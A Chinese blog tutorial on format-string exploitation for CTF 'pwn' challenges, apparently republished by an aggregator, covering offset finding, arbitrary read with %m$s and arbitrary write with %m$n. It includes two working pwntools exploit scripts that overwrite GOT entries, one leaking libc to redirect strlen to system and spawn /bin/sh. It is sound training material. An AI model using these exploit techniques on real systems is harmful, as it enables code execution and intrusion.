pwn入门--格式化字符串

news2024/9/17 9:03:12

pwn入门–格式化字符串

确定偏移:

32位:

  1. gdb中格式化字符串在栈上的位置的,左边序号值 就是偏移。

  2. 先到printf函数的调用位置:

    image-20240710120200274

  3. 观查栈上的数据:

    image-20240710120155192

64位:

  1. gdb中格式化字符串在栈上的位置的,左边序号值+6 就是偏移(因为64位前6个参数要用寄存器rdi,rsi,rdx,rcx,r8,r9来传参,其余才用栈传参)。

  2. 先到printf函数的调用位置:

    image-20240710120438926

  3. 观察寄存器,和栈:

    image-20240710122358218

任意地址读:

  1. 主要使用 %m$s ,来实现 任意地址 读取数据:

    • 先利用第一步,确定格式化字符串的偏移为m
    • 然后确定要 读取 的数据地址:p (0x80504) ,
    • 最后构造,以字符串的形式输出地址为0x80504的值(%s会将0x80504当成地址去解析):
    payload = p64(0x80504)+b"%m$s"
    

任意地址写:

  1. 主要使用 %m$n ,来实现 任意地址 写入数据。

  2. 使用工具 fmtstr_payload 快速钩爪格式化字符串:

    • 先利用第一步,确定格式化字符串的偏移为m
    • 然后确定要 写入 的数据地址:p (0x80504) 。
    • %n会将printf函数已经输出的字符个数num,写入到地址0x80504处:
    payload = p32(0x80504) + b"a"*(num-4) + b"%m$n"
    
    • 使用 fmtstr_payload 工具快速构造;

      payload = fmtstr_payload(offset,{write_addr:write_data},numbwritten=0)
      

      offset :格式化字符串的偏移

      write_addr :要写入的地址

      write_data :要写如的值

      numbwritten :printf已经输出的字符个数

例题1:

  1. 挟持got表
from pwn import *
# from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')

p=remote("node5.anna.nssctf.cn",24575)
# p = process("./pwn")
elf = ELF("./pwn")

read_got = elf.got["read"]
success("read_got==>"+hex(read_got))
backdoor = elf.symbols["backdoor"]
print(hex(backdoor))
payload = fmtstr_payload(11,{read_got:backdoor})
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()


例题2:

地址:BUUCTF在线评测 (buuoj.cn)

注意点:格式化字符串在栈上对齐

  1. 题目只有一个格式化字符串,没有栈溢出,所以只能考虑挟持got表:

    image-20240710172120217

  2. gdb调试,确定格式化字符串偏移,注意栈对齐:

    image-20240710172537479

  3. 确定格式化字符串已经输出的字符个数:

    image-20240710172833648

  4. EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='i386', log_level='debug')
    
    # p=remote("node5.buuoj.cn",26396)
    p = process("./pwn")
    elf = ELF("./pwn")
    puts_addr = elf.got["puts"]
    strlen_addr = elf.got["strlen"]
    
    p.recv()
    payload = b'a'+p32(puts_addr)+b"%8$s"
    p.sendline(payload)
    p.recvuntil(p32(puts_addr))
    addr = u32(p.recv(4))
    success("puts_addr==>"+hex(addr))
    
    libc_addr = addr-0x5fcb0
    sys_addr = libc_addr+0x3adb0
    success("libc_addr==>"+hex(libc_addr))
    success("sys_addr==>"+hex(sys_addr))
    
    payload = b"a" + fmtstr_payload(8,{strlen_addr:sys_addr},10)
    print(payload)
    p.sendline(payload)
    p.sendline(b';/bin/sh')		#切割前面的字符,形成system("/bin/sh")
    p.sendline(b'cat flag')
    p.interactive()
    

    成功拿到本地flag:

    image-20240710172924720

割前面的字符,形成system(“/bin/sh”)
p.sendline(b’cat flag’)
p.interactive()


成功拿到本地flag:

[外链图片转存中...(img-XKQppsBW-1720688965187)]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1918875.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AI虚拟医生重塑医患关系

如今,越来越多的企业开始选择用AI虚拟数字人播报员替代真人出镜,这不仅有助于企业实现降本增效的目标,更能让广告传播趋向多样化和个性化。对于普通人而言,也摆脱了真人出镜的种种烦恼,让表达更加自由与便捷。AI虚拟数…

Bytebase 2.21.0 - 不同数据库引擎可配置不同 SQL 审核规则

🚀 新功能 支持不同数据库引擎配置不同 SQL 审核规则。 支持为工单事件配置企业微信私聊通知。 支持连接到 Redis 哨兵架构和原生集群。 在项目级别,支持设置: 是否允许在工单创建后修改 SQL 语句。是否自动完成已发布的工单。 &#x1f51…

ensp防火墙实验

实验拓扑图 实验要求 1,DMZ区内的服务器,办公区仅能在办公时间内(9:00-18:00)可以访问,生产区的设备全天可以访问。 2,生产区不允许访问互联网,办公区和游客区允许访问互联网 3,办公区设备10.0.2.10不允…

CSS选择器:基本选择器、复合选择器、伪类选择器、伪元素选择器

CSS选择器包含:基本选择器、复合选择器、伪类选择器、伪元素选择器。 选择器是选择标签的一种方式,例如 ID 选择器就是通过 ID 选择标签的,类选择器就是通过类名选择标签的。 在 CSS3 中有很多类型的选择器,如下是《W3school》提…

(8)揭示Python编程精髓:深潜继承与多态的奇幻之旅

目录 1. 命名空间与作用域1.1 命名空间概述1.2 作用域1.2.1 局部作用域1.2.2 全局作用域1.2.3 修改全局变量1.2.4 嵌套作用域 2. 继承3. 多态(Polymorphism) 1. 命名空间与作用域 1.1 命名空间概述 命名空间是一个从名字到对象的映射,它在P…

小程序多次扫描获取sence失败------ivx

扫码图片被告知侵权了,删除了,如果有需要的同学可以自己尝试。或者直接联系我。 在微信小程序里面有一个函数 wx.getEnterOptionsSync() 功能描述 获取本次小程序启动时的参数。如果当前是冷启动,则返回值与 App.onLaunch 的回调参数一致&am…

【C语言】C语言 学生成绩管理系统(源码+报告)【千行代码】【独一无二】

👉博__主👈:米码收割机 👉技__能👈:C/Python语言 👉公众号👈:测试开发自动化【获取源码商业合作】 👉荣__誉👈:阿里云博客专家博主、5…

SpringCloud架构师面试

一、微服务是什么 1、基本概念 微服务是一种架构风格(区别于单体架构、垂直架构、分布式架构、SOA架构),应用程序被划分为更小的、流程驱动的服务。 2、微服务的特征 轻量化:将复杂的系统或者服务进行纵向拆分,每个…

前端工程化(01):10款自动化构建工具初识。

前端工程化自动化构建工具是用于简化前端开发流程、提高开发效率和优化项目质量的工具。市面上的工具多种多样,贝格前端工场先介绍一下什么是前端工程化,为什么要前端工程化,以及常用工具,后面会对各种工具逐一介绍。 一、什么是…

【计算机组成原理 | 第三篇】各个硬件的组成部分

前言: 在前面的文章中,我们介绍了计算机架构的基本组成。可以知道计算机的基本架构由“存储器”,“运算器”,“控制器”,“输入设备”,“输出设备”这五部分组成。 在这片文章中,我们来深入的了…

文件编码、文件读取 (继续学习!)

1、文件编码 计算机中有许多可用编码: UTF-8(通用编码) GBK(中文体系经常使用) Big5(繁体字经常使用) 1)编码的定义 即规则集合,记录了内容和二进制之间进行相互转…

java的遍历的方法对比 效率对比

在 Java 中,遍历对象的方式主要取决于对象的类型和数据结构。以下是几种常见的遍历方式,以及它们的效率比较: 普通的 for 循环: 效率:高。使用普通的 for 循环可以直接根据索引来访问元素,适用于数组和实现…

软件测试面试题及答案,2024最强版

导读 精选400道软件测试面试真题,高清打印版打包带走,横扫软件测试面试高频问题,涵盖测试理论、Linux、MySQL、Web测试、接口测试、APP测试、Python、Selenium、性能测试、LordRunner、计算机网络、数据结构与算法、逻辑思维、人力资源等模块…

Nginx配置基础

ect/nginx/nginx.conf配置 1)nginx 相关目录 工作目录:ect/nginx 家目录 执行文件:/usr/sbin/nginx 启动或重载 sudo /usr/sbin/nginx -t 检查配置文件 sudo /usr/sbin/nginx -s reload 重启服务 日志文件:/var/log/nginx 启动文…

除2! (题目来源:牛客)

题目来源:牛客网 给一个数组,一共有n个数。 你能进行最多k次操作。每次操作可以进行以下步骤: 选择数组中的一个偶数 a,将其变成a/2。 现在你进行不超过 k 次操作后,让数组中所有数之和尽可能小。请输出这个最小的和。…

虚幻引擎图文笔记:虚幻5(UE5.1.1)无法新建C++项目问题的解决

问题截图: Running E:/Unreal Engine/UE_5.1/Engine/Build/BatchFiles/Build.bat -projectfiles -project"E:/Unreal_Projects/UE5.1/TanChiShe/TanChiShe.uproject" -game -rocket -progress Running UnrealBuildTool: dotnet "..\..\Engine\Binar…

小巧低调的黑盒子,打造个性化音乐体验,欧尼士ONIX Alpha小尾巴上手

欧尼士ONIX的产品很有辨识度,这家来自英国的品牌,有着鲜明的黑金设计色彩,以及低调奢华的质感,当然最重要的是,欧尼士的音质表现非常出色,因此深受音乐爱好者的喜爱。在以手机等设备为载体的流媒体音乐盛行…

视频太大怎么压缩变小?这几种压缩方法值得收藏!

视频太大怎么压缩变小?在数字化浪潮汹涌的时代,处理大型视频文件已不再仅仅是存储空间的挑战,我们身处于数据洪流之中,数据的安全与隐私的保护已然成为了我们不得不面对的重大议题,特别是随着视频内容的井喷式增长及其…

【Java】零散知识--感觉每条都有知识在进入脑子唤起回忆

1,什么是双亲委派 AppClassLoader在加载类时,会向上委派,取查找缓存。 AppClassLoader >>ExtClassLoader >>BootStrapClassLoader 情况一 向上委派时查找到了,直接返回。 情况二 当委派到顶层之后,缓…

【cocos creator】2.x,伪3d拖拽,45度视角,60度视角,房屋装扮

伪3d拖拽,45度视角,60度视角 工程下载:(待审核) https://download.csdn.net/download/K86338236/89530812 dragItem2.t s import mapCreat2 from "./mapCreat2";const {ccclass, property } = cc._decorator; /*** 拖拽类,挂在要拖拽的节点上*/ @ccclass export…